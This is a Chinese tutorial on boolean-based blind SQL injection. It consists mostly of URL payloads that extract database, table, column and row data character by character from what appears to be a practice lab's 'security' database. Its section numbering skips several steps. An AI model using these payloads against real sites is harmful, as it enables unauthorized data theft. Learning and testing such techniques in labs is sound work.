布尔盲注其实就是构造一个SQL语句,当语句成立时,页面会返回特点的标识,语句不成立是返回其他,或无数据。因此我们可以构造一个判断语句,利用页面的返回结果来得知判断语句是否正确。
再学习布尔盲注之前,一些常用函数如下:
length(): 返回字符串长度。
substr(str, start, len): 截取str,从start开始,截取长度为len。
ascii(): 返回字符串的ascii码。
1、判断共有几个数据库
payload
?id=1' and (select count(schema_name) from information_schema.schemata)=6 --+
?id=1' and length(database())=8 --+
?id=1' and substr(database(),1,1)='s' --+
?id=1' and ascii(substr(database(), 1, 1))=115 --+
依次修改函数substr的第二个参数,判断出完整数据库名。
4、判断所有数据库名长度
payload
?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=11 --+
可以通过修改limit后的值,来依次判断所有数据库名的长度。
5、判断其他数据库名称
payload
?id=1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='c' --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = 4--+
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1)) = 6--+
8、判断表名
payload
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'e'--+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) = 101--+
?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2 --+
?id=1' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1)) =2 --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1) ='i' --+
?id=1' and length((select id from security.emails limit 0,1)) = 1 --+
13、读取数据
payload
?id=1' and substr((select id from security.emails limit 0,1),1,1) = 1 --+
?id=1' and ascii(substr((select id from security.emails limit 0,1),1,1)) = 49 --+